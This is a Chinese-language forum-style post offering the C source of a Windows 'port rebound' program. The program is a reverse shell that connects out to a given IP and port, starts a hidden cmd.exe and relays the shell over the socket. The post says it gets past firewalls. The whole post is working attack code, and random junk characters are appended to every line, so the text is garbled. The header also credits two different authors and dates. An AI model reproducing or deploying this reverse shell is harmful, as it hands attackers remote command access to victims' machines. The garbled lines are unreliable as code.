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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %sOWg.0_  
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/* ============================== ZNzR `6}  
Rebound port in Windows NT Lv `#zgo_f  
By wind,2006/7 iGG6Myp-  
===============================*/ N3uMkH-<  
#include UJee&4C-y  
#include CCbkxHMf|!  
+R|U4`12  
#pragma comment(lib,"wsock32.lib") 8q]J;T  
9 9Ba{qj  
void OutputShell(); (NGu9uJs  
SOCKET sClient; Ni+3b  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; XXa(305  
38[)[{G)Hv  
void main(int argc,char **argv) |HrM_h<X  
{ ,\BVV,  
WSADATA stWsaData; NJn&>/vM  
int nRet; T?W[Z_D  
SOCKADDR_IN stSaiClient,stSaiServer; El~-M`Gf  
o .l;: Un  
if(argc != 3) V -q%r  
{ /h/6&R0l  
printf("Useage:\n\rRebound DestIP DestPort\n"); uWUR3n  
return;  DZ^=*.  
} 6!ZVd#OM%  
;knd7SC   
WSAStartup(MAKEWORD(2,2),&stWsaData); %0vTA_W  
|r5e{  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -u6}T!  
>R(8/#|E  
stSaiClient.sin_family = AF_INET; sa_R$ /H  
stSaiClient.sin_port = htons(0); Q(lku"U'  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); p lK=D#)  
b& V`<'{  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;SfNKu  
{ s0r"N7~  
printf("Bind Socket Failed!\n"); Y5HfN[u^7  
return; Xad*I ulj  
} Am=wEu[b  
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stSaiServer.sin_family = AF_INET; B]1HS`*7  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +)gGs# 2X  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $'^&\U~?  
prZ55MS.  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) l<TIG3 bs  
{ " 9qp "%  
printf("Connect Error!"); |=\91fP68`  
return; ~wTX >qV  
} Kh)F yV  
OutputShell(); `|]e6Pb  
} qbXz7s*{  
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void OutputShell() @F?=a*s"!  
{ h4Ia>^@  
char szBuff[1024]; 2/@D7>F&g  
SECURITY_ATTRIBUTES stSecurityAttributes; 1~'_K9eE  
OSVERSIONINFO stOsversionInfo; ]M3# 3Ha"  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "x&3Z@q7  
STARTUPINFO stStartupInfo; -l "U"U"F  
char *szShell; W (`c  
PROCESS_INFORMATION stProcessInformation; vBNZ<L\|a  
unsigned long lBytesRead; ?>V6P_r>  
O% -h&C3  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); VFO \4:.  
!9r:&n.\  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); F6W}mMZH/N  
stSecurityAttributes.lpSecurityDescriptor = 0; H] k'?;  
stSecurityAttributes.bInheritHandle = TRUE; 4<.O+hS  
[9V]On  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); o9Sn*p-.  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %jEY 3q  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));  i-W  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =x0No*#|'  
stStartupInfo.wShowWindow = SW_HIDE; D|_V<'  
stStartupInfo.hStdInput = hReadPipe; @T&t.|`  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `HW:^T  
+y&d;0!  
GetVersionEx(&stOsversionInfo); mJC3@V s  
['[KR BJL  
switch(stOsversionInfo.dwPlatformId) * OsU Y=;  
{ d TGA5c  
case 1: ^Y04qeRd  
szShell = "command.com"; H"CUZ  
break; WM,i:P)b  
default: ~]WVG@-  
szShell = "cmd.exe"; !@g)10u  
break; Lw*]EG|?  
} X=~V6m  
4;KWG}~[o  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ]hE="z=n  
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send(sClient,szMsg,77,0); &uM^0eM  
while(1) .Q&rfH3  
{ $h28(K%  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8o-bd_  
if(lBytesRead) :b/jNHJU  
{ pOga6'aB)  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )1F<6R  
send(sClient,szBuff,lBytesRead,0); ?KWj}| %  
} nWWM2v  
else N.j "S'(i  
{ x<B'.3y  
lBytesRead=recv(sClient,szBuff,1024,0); .q;ED`G  
if(lBytesRead<=0) break; Q\kub_I{@  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); nr\q7  
} ftZj}|R!  
} =P^wh  
<I=$ry6 8  
return; H:S,\D?%2x  
}
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